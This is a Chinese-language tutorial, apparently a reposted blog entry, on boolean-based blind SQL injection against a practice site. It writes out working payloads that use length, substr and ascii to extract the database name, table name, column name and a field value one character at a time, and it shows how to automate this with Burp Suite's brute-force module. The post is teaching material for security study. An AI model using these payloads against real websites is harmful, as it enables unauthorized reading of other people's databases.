赞
踩
注入攻击的本质,是把用户输入的数据当成代码执行。
这里有2个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据。
盲注所对应的是显错注入,显错注入我们之前讲过,但是很多时候,
web服务器关闭了错误回显,这时候就没有办法实行SQL注入了吗?
length()长度函数
substr()截取字符串
1表示截取开始的位置,3表示截取的长度。
ascii()返回字符的ascii码
sleep()延迟函数
if(expr1,expr2,expr3)判断函数,有点类似于三元运算
既然我们知道了布尔盲注只会返回对或错2种结果,
and 1=1 页面正常,and 1=2 没有信息
那么我就可以使用上面5种函数来得到我们想要的信息
1,因为得到的信息有限,所以可以使用的函数也有限。
像之前使用database()函数直接得到数据库名,
在这里就只能得到对或者错的信息,就不能得到准确的信息了。
比如 输入对的数据库名
and database()=‘kanwolongxia’
因为盲注不能直接用database()函数得到数据库名,而是先要判断数据库名的长度是多少
and length(database())>11 回显正常
and length(database())>12 回显错误,那就表明,数据库名是等于12个字符。
确定了数据库名有多少个字符组成,那么现在就来猜这些字符。
由于猜的数据必须是对的,才会回显正常。但是把数据库名字的字符一起猜显然是非常困难的,
那我们就换一种方式。一个字符一个字符的才猜,
用我们之前介绍的截断函数(substr)来一个字符一个字符的来猜。
可以看到有一个叫 ak 的数据库
我们用截断函数来猜他的名字
前面个 1 表示截取开始的位置,后面个 1 表示截取的长度。
回显为 1 说明我们猜对了。
同理,我们也可以用这种方法来实战一下
and substr(database(),1,1)=‘k’
回显正确,说明我们的数据库名的第一个字符,猜对了。
就知道完整的数据库名了。
为了方便,我们就要用到上面5种函数当中的,ASCII码函数。
可以看到每个字符都有对应的ASCII码
将字符转为ASCII码,然后进行ASCII码猜测
从上图中我们可以看到 k 对应的ASCII码是 107
and ascii(substr(database(),1,1))>106 回显正常
and ascii(substr(database(),1,1))>107 回显失败说明这里的ASCII码是等于107,那么对应的字符就是 k
然后再试着猜第二个字符。(只需要把起始位置改一下就行,这里改成了第2个位置)
and ascii(substr(database(),2,1))>96 回显正常
and ascii(substr(database(),2,1))>97 回显失败说明这里的ASCII码是等于97,那么对应的字符就是 a
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107
select table_name from information_schema.tables where table_schema=database()
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>108
就知道完整的表名了。
之后后面的东西就是猜,字段名。然后猜字段值。这里我就不多赘述了。可以依照猜表名的方式来做这最后2步。
这里我用更简单的方法来做,没错,用工具来做(滑稽)
这里可以用burpsuite
先写好注入语句,
然后抓包,放入爆破模块。清除替换位置,然后重新选择替换位置,很显然,我们是要替换我们注入数据的数据
and ascii(substr(database(),1,1))>106
因为我们要替换的是数字,那么palyloads就选number
为了以防万一,其实起始位置应该为 0 的
查看所有数据包的长度。找到唯一不同的一条数据包,然后查看到数字是107,
以此类推,我们只需要把字符的位置换了就可以爆破出所有数据库名的字符了
既然我们已经会使用工具来注入了,但是要手动替换字符的位置,还是有点麻烦,
既然如此,那我们就2个地方一起替换,然后爆破。
and ascii(substr(database(),1,1))>106
选择最后一个
第一个爆破是数据库字符的位置,第二个爆破点是字符的ASCII码的值
and ascii(substr(database(),1,1))>106
设置每个爆破点的参数。
查看到第一个字符位置的字符值是107,对应的ASCII码就是 k
第一个字符我们看了,再把剩下的11个看完。然后拼接起来
先确定表名的字符有几个
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1
回显正常
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6
回显失败说明这里的长度是等于6 表名的字符有6个
爆破表名每个字符位置的字符值
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107
设置每个爆破点的参数。
查看到长度不一样,看下数据包,果然显示正常。
我们看到第3个字符的ASCII码数字是102,对应ASCII码字符是 f
第3个字符我们看了,再把剩下的5个看完。然后拼接起来
################## 注意 ######## 注意 ######### 注意 ############### 注意 ###################
########## 注意 ############ 注意 ################## 注意 ################## 注意 ##########
############# 注意 ######### 注意 ################## 注意 ####### 注意 ######
########### 注意 ###################### 注意 ###################### 注意 #################
############# 注意 ######### 注意 ################# 注意 ############# 注意 #############
######## 注意 ############### 注意 ################## 注意 ############ 注意 ################—
####################################################################### 注意 ##################
########### 注意 ########## 注意 ####### 注意 ############## 注意 ########## 注意 ###############
######### 注意 ###### 注意 ##### 注意 ######## 注意 ######### 注意 #### 注意 #######################
############## 注意 ############## 注意 ################ 注意 ######### 注意 ##### 注意 ######
############################################################################################
######## 注意 ############ 注意 ########## 注意 ######## 注意 ###### 注意 ###### 注意 ##########
先确定字段名的字符有几个
and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1))>1
回显正常
and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1))>2
回显失败说明这里的长度是等于2 字段名名的字符有2个
爆破字段名每个字符位置的字符值
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘loflag’ limit 0,1),1,1))>1
设置每个爆破点的参数。
查看到长度不一样,看下数据包,果然显示正常。
我们看到第1个字符的ASCII码是73,对应字符是大写的 I
第1个字符我们看了,再把剩下的1个看完。然后拼接起来
同理,跑字段名的字符值也是一样,只需要把注入语句换一下。
先确定字段名内容的字符有几个
and length((select Id from loflag limit 0,1))=1 返回正常
and length((select Id from loflag limit 0,1))>1 回显失败说明这里的长度是等于1 表名的字符有1个
这个字段名很明显的告诉我们,是纯数字
and length((select Id from loflag limit 0,1))=1 回显正确
and length((select Id from loflag limit 0,1))>1 说明字段内容为1
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。